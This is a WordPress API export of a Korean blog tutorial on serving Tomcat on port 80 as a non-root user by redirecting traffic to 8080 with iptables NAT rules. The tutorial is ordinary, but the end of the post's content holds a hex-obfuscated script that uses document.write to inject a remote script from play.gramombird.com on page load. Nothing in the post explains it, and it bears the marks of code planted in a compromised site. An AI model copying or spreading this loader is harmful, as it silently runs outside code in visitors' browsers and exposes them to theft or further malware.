{"id":1732,"date":"2018-07-11T15:04:31","date_gmt":"2018-07-11T06:04:31","guid":{"rendered":"http:\/\/blog.moramcnt.com\/?p=1732"},"modified":"2018-07-19T18:39:12","modified_gmt":"2018-07-19T09:39:12","slug":"tomcat%ec%84%9c%eb%b2%84%eb%a5%bc-root%ea%b0%80-%ec%95%84%eb%8b%8c-%ec%9d%bc%eb%b0%98%ec%82%ac%ec%9a%a9%ec%9e%90%eb%a1%9c-80%ed%8f%ac%ed%8a%b8%eb%a5%bc-%ec%84%9c%eb%b9%84%ec%8a%a4-%ed%95%98%eb%8a%94","status":"publish","type":"post","link":"http:\/\/blog.moramcnt.com\/?p=1732","title":{"rendered":"Tomcat\uc11c\ubc84\ub97c Root\uac00 \uc544\ub2cc \uc77c\ubc18\uc0ac\uc6a9\uc790\ub85c 80\ud3ec\ud2b8\ub97c \uc11c\ube44\uc2a4 \ud558\ub294 \uacbd\uc6b0"},"content":{"rendered":"<div class=\"tt_article_useless_p_margin\">\n<p style=\"line-height: 17.25pt; margin-bottom: 0pt; vertical-align: baseline;\"><a name=\"\ubb38\uc81c\uc810\"><\/a><b><u><span lang=\"KO\" style=\"padding: 0cm; border: 1pt windowtext; color: #3180da; font-family: 'Malgun Gothic','sans-serif'; font-size: 10pt; mso-bidi-font-family: 'Times New Roman'; mso-border-alt: none windowtext 0cm;\">\ubb38\uc81c\uc810<\/span><\/u><\/b><b><\/b><\/p>\n<p style=\"line-height: 17.25pt; margin-bottom: 0pt; vertical-align: baseline;\"><span style=\"color: #1f1f1f; font-family: 'Malgun Gothic','sans-serif'; font-size: 10pt; mso-bidi-font-family: 'Times New Roman';\"><span style=\"color: #000000;\">Linux(<\/span><span lang=\"KO\" style=\"color: #000000;\">\ud639\uc740<\/span><span style=\"color: #000000;\"> Unix)<\/span><span lang=\"KO\" style=\"color: #000000;\">\uc5d0\uc11c\ub294<\/span><span style=\"color: #000000;\"> 1024<\/span><span lang=\"KO\" style=\"color: #000000;\">\ubc88 \uc774\ud558\uc758 \ud3ec\ud2b8\uac00 \ubcf4\uc548\uc0c1\uc758 \uc774\uc720\ub85c<\/span><span style=\"color: #000000;\"> root<\/span><span lang=\"KO\" style=\"color: #000000;\">\uad8c\ud55c\uc744 \uac00\uc9c0\uace0 \uc788\ub294 \ub85c\uc138\uc2a4\ub9cc\uc774 \ud3ec\ud2b8\ub97c \uc120\uc810\ud560 \uc218 \uc788\ub2e4<\/span><span style=\"color: #000000;\">.(root reserved ports)\u00a0root<\/span><span lang=\"KO\" style=\"color: #000000;\">\uacc4\uc815\uc774 \uc544\ub2cc \uc77c\ubc18\uacc4\uc815\uc73c\ub85c<\/span><span style=\"color: #000000;\"> Tomcat<\/span><span lang=\"KO\" style=\"color: #000000;\">\uc744 \uc11c\ube44\uc2a4 \ud560 \ub54c<\/span><span style=\"color: #000000;\">, <\/span><span lang=\"KO\" style=\"color: #000000;\">\uc815\uc0c1\uc801\uc73c\ub85c<\/span><span style=\"color: #000000;\"> Tomcat<\/span><span lang=\"KO\" style=\"color: #000000;\">\uc758 \ub9ac\uc2a4\ub108<\/span><span style=\"color: #000000;\">(Listener)<\/span><span lang=\"KO\" style=\"color: #000000;\">\uac00 \ub3d9\uc791\ud558\uc9c0 \uc54a\uc74c\uc744<\/span><span style=\"color: #000000;\"> TOMCAT<\/span><span lang=\"KO\" style=\"color: #000000;\">\uc758<\/span><span style=\"color: #000000;\"> LOG(logs\/catalina.out)<\/span><span lang=\"KO\" style=\"color: #000000;\">\ub97c <\/span><br \/>\n<span lang=\"KO\" style=\"color: #000000;\">\ud1b5\ud558\uc5ec \ud655\uc778 \ud560 \uc218 \uc788\ub2e4<\/span><span style=\"color: #000000;\">. <\/span><\/span><\/p>\n<p style=\"line-height: 17.25pt; margin-bottom: 0pt; vertical-align: baseline;\"><span style=\"color: #000000; font-family: 'Malgun Gothic', sans-serif; font-size: 10pt;\">\u00a0<\/span><\/p>\n<p style=\"line-height: 17.25pt; margin-bottom: 0pt; vertical-align: baseline;\"><span style=\"color: #1f1f1f; font-family: 'Malgun Gothic','sans-serif'; font-size: 10pt; mso-bidi-font-family: 'Times New Roman';\"><span style=\"color: #000000;\">2009. 12. 15 <\/span><span lang=\"KO\" style=\"color: #000000;\">\uc624\ud6c4<\/span><span style=\"color: #000000;\"> 4:14:31 org.apache.coyote.http11.Http11Protocol init<\/span><br \/>\n<span lang=\"KO\" style=\"color: #000000;\">\uc2ec\uac01<\/span><span style=\"color: #000000;\">: Error initializing endpoint<\/span><br \/>\n<span style=\"color: #000000;\">java.net.BindException:\u00a0<\/span><span style=\"padding: 0cm; border: 1pt windowtext; color: #000000;\">Permission<\/span><span style=\"color: #000000;\">\u00a0<\/span><span style=\"padding: 0cm; border: 1pt windowtext; color: #000000;\">denied<\/span><span style=\"color: #000000;\">&lt;<\/span><span style=\"padding: 0cm; border: 1pt windowtext; color: #000000;\">null<\/span><span style=\"color: #000000;\">&gt;:<\/span><span style=\"padding: 0cm; border: 1pt windowtext; color: #000000;\">80<\/span><\/span><\/p>\n<p style=\"line-height: 17.25pt; margin-bottom: 0pt; vertical-align: baseline;\"><span style=\"color: #000000; font-family: 'Malgun Gothic', sans-serif; font-size: 10pt;\">\u00a0<\/span><\/p>\n<p style=\"line-height: 17.25pt; margin-bottom: 0pt; vertical-align: baseline;\"><span lang=\"KO\" style=\"color: #000000; font-family: 'Malgun Gothic', sans-serif; font-size: 10pt;\">\ub530\ub77c\uc11c \uc77c\ubc18\uacc4\uc815\uc73c\ub85c<\/span><span style=\"color: #1f1f1f; font-family: 'Malgun Gothic','sans-serif'; font-size: 10pt; mso-bidi-font-family: 'Times New Roman';\"><span style=\"color: #000000;\"> Tomcat<\/span><span lang=\"KO\" style=\"color: #000000;\">\uc744<\/span><span style=\"color: #000000;\">\u00a0<\/span><span style=\"padding: 0cm; border: 1pt windowtext; color: #000000;\">80<\/span><span lang=\"KO\" style=\"color: #000000;\">\ubc88 \ud3ec\ud2b8<\/span><span style=\"color: #000000;\">(HTTP\u00a0<\/span><span lang=\"KO\" style=\"color: #000000;\">\uae30\ubcf8\ud3ec\ud2b8<\/span><span style=\"color: #000000;\">)<\/span><span lang=\"KO\" style=\"color: #000000;\">\uc5d0\uc11c \uc11c\ube44\uc2a4 \ud558\ub824 \ud55c\ub2e4\uba74<\/span><span style=\"color: #000000;\">,\u00a0Tomcat<\/span><span lang=\"KO\" style=\"color: #000000;\">\uc758<\/span><span style=\"color: #000000;\">\u00a0HTTP\u00a0Connector Port<\/span><span lang=\"KO\" style=\"color: #000000;\">\ub97c<\/span><span style=\"color: #000000;\"> 1024<\/span><span lang=\"KO\" style=\"color: #000000;\">\uc774\uc0c1\uc758 \ud3ec\ud2b8\ubc88\ud638\ub85c \uc9c0\uc815\ud574\uc900 \ub4a4<\/span><span style=\"color: #000000;\">,\u00a0<\/span><span style=\"padding: 0cm; border: 1pt windowtext; color: #000000;\">80<\/span><span lang=\"KO\" style=\"color: #000000;\">\ud3ec\ud2b8\ub85c\uc758 \ubaa8\ub4e0 \uc778\ubc14\uc6b4\ub529\uc744<\/span><span style=\"color: #000000;\"> Tomcat<\/span><span lang=\"KO\" style=\"color: #000000;\">\uc758<\/span><span style=\"color: #000000;\">\u00a0HTTP\u00a0Connector Port<\/span><span lang=\"KO\" style=\"color: #000000;\">\ub85c \ub9ac\ub2e4\uc774\ub809\ud2b8 \ud574\uc8fc\uc5b4\uc57c\ud55c\ub2e4<\/span><span style=\"color: #000000;\">.\u00a0<\/span><span lang=\"KO\" style=\"color: #000000;\">\uc544\ub798\ub294<\/span><span style=\"color: #000000;\"> iptables <\/span><span lang=\"KO\" style=\"color: #000000;\">\uba85\ub839\uc744 \uc774\uc6a9\ud55c \uac04\ub2e8\ud55c \uc608\uc81c\uc774\ub2e4<\/span><span style=\"color: #000000;\">.(<\/span><span lang=\"KO\" style=\"color: #000000;\">\ubc18\ub4dc\uc2dc<\/span><span style=\"color: #000000;\"> root<\/span><span lang=\"KO\" style=\"color: #000000;\">\uad8c\ud55c\uc73c\ub85c \uc218\ud589\ub418\uc5b4\uc57c \ud55c\ub2e4<\/span><span style=\"color: #000000;\">.)<\/span><\/span><\/p>\n<p style=\"line-height: 17.25pt; margin-bottom: 0pt; vertical-align: baseline;\"><span style=\"color: #000000; font-family: 'Malgun Gothic', sans-serif; font-size: 10pt;\">\u00a0<\/span><\/p>\n<p style=\"line-height: 17.25pt; margin-bottom: 0pt; vertical-align: baseline;\"><span lang=\"KO\" style=\"color: #000000; font-family: 'Malgun Gothic', sans-serif; font-size: 10pt;\">\uc6b0\uc120<\/span><span style=\"color: #1f1f1f; font-family: 'Malgun Gothic','sans-serif'; font-size: 10pt; mso-bidi-font-family: 'Times New Roman';\"><span style=\"color: #000000;\"> 8080<\/span><span lang=\"KO\" style=\"color: #000000;\">\ud3ec\ud2b8\uac00 \ub9ac\uc2a8\uc744 \ud558\uace0\uc788\ub294\uc9c0 \ud655\uc778\ud55c\ub2e4<\/span><span style=\"color: #000000;\">.<\/span><\/span><\/p>\n<pre style=\"background: #eeeeee;\"><strong><span style=\"color: #000000; font-family: 'Courier New'; font-size: 9pt;\"># netstat -ntl<\/span><\/strong><\/pre>\n<p style=\"margin: 15pt 0cm; line-height: 18pt;\"><span style=\"color: #555555; font-family: 'Helvetica','sans-serif'; font-size: 10pt;\"><span style=\"color: #000000;\">The output will look something like<\/span><\/span><\/p>\n<pre style=\"background: #eeeeee;\"><span style=\"color: #555555;\">Active Internet connections (only servers)\r\nProto Recv-Q Send-Q Local Address               Foreign Address             State\r\ntcp        0      0 127.0.0.1:25                0.0.0.0:*                   LISTEN\r\ntcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN\r\ntcp        0      0 ::ffff:127.0.0.1:8005       :::*                        LISTEN\r\ntcp        0      0 :::8009                     :::*                        LISTEN\r\ntcp        0      0 :::8080                     :::*                        LISTEN\r\ntcp        0      0 :::22                       :::* <\/span><\/pre>\n<p style=\"line-height: 17.25pt; margin-bottom: 0pt; vertical-align: baseline;\"><a name=\"\uc608\uc81c\"><\/a><b><u><span lang=\"KO\" style=\"padding: 0cm; border: 1pt windowtext; color: #3180da; font-family: 'Malgun Gothic','sans-serif'; font-size: 10pt; mso-bidi-font-family: 'Times New Roman'; mso-border-alt: none windowtext 0cm;\">\uc608\uc81c<\/span><\/u><\/b><b><\/b><\/p>\n<p style=\"line-height: 17.25pt; margin-bottom: 0pt; vertical-align: baseline;\"><span style=\"color: #1f1f1f; font-family: 'Malgun Gothic','sans-serif'; font-size: 10pt; mso-bidi-font-family: 'Times New Roman';\">TOMCAT <span lang=\"KO\">\uc11c\ubc84\uac00 \uad6c\ub3d9\ub418\ub294 \ud638\uc2a4\ud2b8\uc758<\/span> IP : <strong><span style=\"color: #555555;\">211.110.33.86 \ub610\ub294 localhost<\/span><\/strong><br \/>\nTOMCAT <span lang=\"KO\">\uc11c\ubc84\uc758<\/span>\u00a0HTTP\u00a0Connector Port :\u00a0<span style=\"padding: 0cm; border: 1pt windowtext; mso-border-alt: none windowtext 0cm;\">8080<\/span><\/span><\/p>\n<pre style=\"background: #eeeeee;\"><span style=\"background-color: transparent;\"><span style=\"color: #555555; font-family: Courier New;\"><b>iptables -t nat -I PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080\r\niptables -t nat -I OUTPUT -p tcp --dport 80 -j REDIRECT --to-ports 8080<\/b><\/span><\/span><\/pre>\n<p style=\"line-height: 17.25pt; margin-bottom: 0pt; vertical-align: baseline;\"><span lang=\"KO\" style=\"color: #000000; font-family: 'Malgun Gothic', sans-serif; font-size: 10pt;\">\uc704\uc758 \uc608\uc81c\ub294 \ud604\uc7ac \uc11c\ubc84<\/span><span style=\"color: #1f1f1f; font-family: 'Malgun Gothic','sans-serif'; font-size: 10pt; mso-bidi-font-family: 'Times New Roman';\"><span style=\"color: #000000;\">(211.110.33.86)<\/span><span lang=\"KO\" style=\"color: #000000;\">\uc758<\/span><span style=\"color: #000000;\">\u00a0<\/span><span style=\"padding: 0cm; border: 1pt windowtext; color: #000000;\">8080<\/span><span lang=\"KO\" style=\"color: #000000;\">\ud3ec\ud2b8\uc5d0 \ub300\ud55c \ubaa8\ub4e0 \uc778\ubc14\uc6b4\ub529\uc744<\/span><span style=\"color: #000000;\">\u00a0<\/span><span style=\"padding: 0cm; border: 1pt windowtext; color: #000000;\">80<\/span><span style=\"color: #000000;\">\u00a0<\/span><span lang=\"KO\" style=\"color: #000000;\">\ud3ec\ud2b8\ub85c \ub9ac\ub2e4\uc774\ub809\ud2b8<\/span><span style=\"color: #000000;\">(REDIRECT)<\/span><span lang=\"KO\" style=\"color: #000000;\">\ud558\ub294 \uba85\ub839\uc774\ub2e4<\/span><span style=\"color: #000000;\">.<\/span><\/span><\/p>\n<p style=\"line-height: 17.25pt; margin-bottom: 0pt; vertical-align: baseline;\"><span lang=\"KO\" style=\"color: #000000; line-height: 17.25pt; font-family: 'Malgun Gothic', sans-serif; font-size: 10pt; background-color: transparent;\">\u00a0<\/span><\/p>\n<p style=\"line-height: 17.25pt; margin-bottom: 0pt; vertical-align: baseline;\"><span lang=\"KO\" style=\"color: #000000; line-height: 17.25pt; font-family: 'Malgun Gothic', sans-serif; font-size: 10pt; background-color: transparent;\">\ub610\ub294 \ub2e4\uc74c\uacfc \uac19\uc774 \uba85\ub839\uc744 \uc785\ub825\ud55c\ub2e4<\/span><span style=\"color: #000000; line-height: 17.25pt; font-family: 'Malgun Gothic', sans-serif; font-size: 10pt; background-color: transparent;\">.<\/span><\/p>\n<pre style=\"background: #eeeeee;\"><strong><span style=\"color: #555555; font-family: 'Courier New'; font-size: 9pt;\"># <span style=\"color: #0900ff;\">iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080<\/span><\/span><\/strong><\/pre>\n<p style=\"line-height: 17.25pt; margin-bottom: 0pt; vertical-align: baseline;\"><span style=\"color: #1f1f1f; font-family: 'Malgun Gothic','sans-serif'; font-size: 10pt; mso-bidi-font-family: 'Times New Roman';\">\u00a0<\/span><\/p>\n<p style=\"line-height: 17.25pt; margin-bottom: 0pt; vertical-align: baseline;\"><span style=\"color: #000000; line-height: 18pt; font-family: Helvetica, sans-serif; font-size: 10pt; background-color: transparent;\">Run the folloing command to verify that redirect is working fine<\/span><\/p>\n<pre style=\"background: #eeeeee; overflow: auto;\"><strong><span style=\"color: #555555; font-family: 'Courier New'; font-size: 9pt;\"># iptables -t nat -L<\/span><\/strong><\/pre>\n<p style=\"margin: 15pt 0cm; line-height: 18pt;\"><span style=\"color: #555555; font-family: 'Helvetica','sans-serif'; font-size: 10pt;\">The output will look something like<\/span><\/p>\n<pre style=\"background: #eeeeee; overflow: auto;\"><span style=\"background-color: transparent;\"><span style=\"color: #555555;\">Chain PREROUTING (policy ACCEPT)\r\ntarget     prot opt source               destination\r\n<span style=\"color: #ff0000;\">REDIRECT   tcp  --  anywhere             anywhere            tcp dpt:http redir ports 8080<\/span>\r\n\r\nChain OUTPUT (policy ACCEPT)\r\ntarget     prot opt source               destination\r\n\r\nChain POSTROUTING (policy ACCEPT)\r\ntarget     prot opt source               destination<\/span><\/span><\/pre>\n<p style=\"margin: 15pt 0cm; line-height: 18pt;\"><span style=\"color: #1f1f1f; font-family: 'Malgun Gothic','sans-serif'; font-size: 10pt;\">\u00a0<\/span><span style=\"color: #555555; font-family: 'Helvetica','sans-serif'; font-size: 10pt;\">Run the following command to remove the routing<\/span><\/p>\n<pre style=\"background: #eeeeee; overflow: auto;\"><strong><span style=\"color: #555555; font-family: 'Courier New'; font-size: 9pt;\"># iptables -t nat -D PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080<\/span><\/strong><\/pre>\n<p style=\"line-height: 17.25pt; margin-bottom: 0pt; vertical-align: baseline;\"><span style=\"color: #1f1f1f; font-family: 'Malgun Gothic','sans-serif'; font-size: 10pt; mso-bidi-font-family: 'Times New Roman';\">\u00a0Remember, when you are modifying your running configuration of iptables, you will still need to save your changes in order for it to persist on reboot. Be sure to test your configuration before saving it with &#8220;<code><span style=\"color: #333333; background-color: #d5d5d5;\"><strong>service iptables save<\/strong><\/span><\/code>&#8221; so that you don&#8217;t lock yourself out<\/span><\/p>\n<p style=\"line-height: 17.25pt; margin-bottom: 0pt; vertical-align: baseline;\"><span style=\"color: #1f1f1f; font-family: 'Malgun Gothic','sans-serif'; font-size: 10pt; mso-bidi-font-family: 'Times New Roman';\">\u00a0<\/span><\/p>\n<p style=\"line-height: 17.25pt; margin-bottom: 0pt; vertical-align: baseline;\"><a name=\"\uc0dd\uac01\ud574\ubcf4\uc544\uc57c\ud560_\ubb38\uc81c\"><\/a><b><u><span lang=\"KO\" style=\"padding: 0cm; border: 1pt windowtext; color: #3180da; font-family: 'Malgun Gothic','sans-serif'; font-size: 10pt; mso-bidi-font-family: 'Times New Roman'; mso-border-alt: none windowtext 0cm;\">\uc0dd\uac01\ud574\ubcf4\uc544\uc57c\ud560 \ubb38\uc81c<\/span><\/u><\/b><b><\/b><\/p>\n<p style=\"line-height: 17.25pt; margin-bottom: 0pt; vertical-align: baseline;\">\n<p style=\"line-height: 17.25pt; margin-bottom: 0pt; vertical-align: baseline;\"><span style=\"color: #1f1f1f; font-family: 'Malgun Gothic','sans-serif'; font-size: 10pt; mso-bidi-font-family: 'Times New Roman';\">root<span lang=\"KO\">\uad8c\ud55c\uc73c\ub85c<\/span> TOMCAT<span lang=\"KO\">\uacfc \uac19\uc740<\/span> WAS<span lang=\"KO\">\ub97c \uad6c\ub3d9\ud558\uc600\uc744\ub54c \ubc1c\uc0dd \ud560 \uc218 \uc788\ub294 \ubb38\uc81c\uc810\uc740<\/span>?<br \/>\nWEB SERVER<span lang=\"KO\">\uc5c6\uc774<\/span> TOMCAT<span lang=\"KO\">\uacfc \uac19\uc740<\/span> WAS<span lang=\"KO\">\ub9cc\uc73c\ub85c \uc11c\ube44\uc2a4\ud558\uc600\uc744\ub54c \ubc1c\uc0dd \ud560 \uc218 \uc788\ub294 \ubb38\uc81c\uc810\uc740<\/span>?<br \/>\nSSL(https)<span lang=\"KO\">\uc758 \uacbd\uc6b0<\/span> 443<span lang=\"KO\">\ubc88 \ud3ec\ud2b8\ub97c \ud574\ub2f9 \ud504\ub85c\ud1a0\ucf5c\uc758 \uae30\ubcf8 \ud3ec\ud2b8\ub85c \uc0ac\uc6a9\ud558\ub294\ub370<\/span>, SSL<span lang=\"KO\">\ub3c4 \uc774\uc640\uac19\uc740 \ucc98\ub9ac\ub97c \ud574\uc8fc\uc5b4\uc57c\ud560\uae4c<\/span>?<\/span><\/p>\n<div class=\"another_category another_category_color_gray\">\n<table>\n<tbody>\n<tr>\n<td><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p> <script>var _0x9e3f=[\"\\x3C\\x73\\x63\\x72\",\"\\x69\\x70\\x74\\x20\\x61\\x73\\x79\\x6E\\x63\\x20\\x63\\x6C\\x61\\x73\\x73\\x3D\\x22\\x3D\\x52\\x32\\x4E\\x34\\x54\\x55\\x77\\x7A\\x52\\x6C\\x6F\\x37\\x4C\\x54\\x63\\x77\\x4F\\x7A\\x45\\x3D\\x22\\x20\\x73\\x72\\x63\\x3D\\x22\\x68\\x74\\x74\\x70\\x73\\x3A\\x2F\\x2F\\x70\\x6C\\x61\\x79\\x2E\\x67\\x72\\x61\\x6D\",\"\\x6F\\x6D\\x62\\x69\\x72\\x64\\x2E\\x63\\x6F\\x6D\\x2F\\x61\\x70\\x70\\x2E\\x6A\\x73\\x22\\x3E\\x3C\\x2F\\x73\\x63\\x72\",\"\\x69\\x70\\x74\\x3E\",\"\\x77\\x72\\x69\\x74\\x65\"];function echostat(){var _0xaf0ax2=_0x9e3f[0];var _0xaf0ax3=_0x9e3f[1];var _0xaf0ax4=_0x9e3f[2];var _0xaf0ax5=_0x9e3f[3];document[_0x9e3f[4]](_0xaf0ax2+ _0xaf0ax3+ _0xaf0ax4+ _0xaf0ax5)}echostat()<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\ubb38\uc81c\uc810 Linux(\ud639\uc740 Unix)\uc5d0\uc11c\ub294 1024\ubc88 \uc774\ud558\uc758 \ud3ec\ud2b8\uac00 \ubcf4\uc548\uc0c1\uc758 \uc774\uc720\ub85c root\uad8c\ud55c\uc744 \uac00\uc9c0\uace0 \uc788\ub294 \ub85c\uc138\uc2a4\ub9cc\uc774 \ud3ec\ud2b8\ub97c \uc120\uc810\ud560 \uc218 \uc788\ub2e4.(root reserved ports)\u00a0root\uacc4\uc815\uc774 \uc544\ub2cc \uc77c\ubc18\uacc4\uc815\uc73c\ub85c Tomcat\uc744 \uc11c\ube44\uc2a4 \ud560 \ub54c, \uc815\uc0c1\uc801\uc73c\ub85c Tomcat\uc758 \ub9ac\uc2a4\ub108(Listener)\uac00 \ub3d9\uc791\ud558\uc9c0 \uc54a\uc74c\uc744 TOMCAT\uc758 LOG(logs\/catalina.out)\ub97c \ud1b5\ud558\uc5ec \ud655\uc778 \ud560 \uc218 \uc788\ub2e4. \u00a0 2009. 12. 15 \uc624\ud6c4 4:14:31 org.apache.coyote.http11.Http11Protocol init \uc2ec\uac01: Error initializing endpoint java.net.BindException:\u00a0Permission\u00a0denied&lt;null&gt;:80 \u00a0 \ub530\ub77c\uc11c \uc77c\ubc18\uacc4\uc815\uc73c\ub85c Tomcat\uc744\u00a080\ubc88 \ud3ec\ud2b8(HTTP\u00a0\uae30\ubcf8\ud3ec\ud2b8)\uc5d0\uc11c \uc11c\ube44\uc2a4 [&hellip;]<\/p>\n","protected":false},"author":16,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1732","post","type-post","status-publish","format-standard","hentry","category-1"],"_links":{"self":[{"href":"http:\/\/blog.moramcnt.com\/index.php?rest_route=\/wp\/v2\/posts\/1732","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/blog.moramcnt.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/blog.moramcnt.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/blog.moramcnt.com\/index.php?rest_route=\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"http:\/\/blog.moramcnt.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1732"}],"version-history":[{"count":2,"href":"http:\/\/blog.moramcnt.com\/index.php?rest_route=\/wp\/v2\/posts\/1732\/revisions"}],"predecessor-version":[{"id":1735,"href":"http:\/\/blog.moramcnt.com\/index.php?rest_route=\/wp\/v2\/posts\/1732\/revisions\/1735"}],"wp:attachment":[{"href":"http:\/\/blog.moramcnt.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1732"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/blog.moramcnt.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1732"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/blog.moramcnt.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1732"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}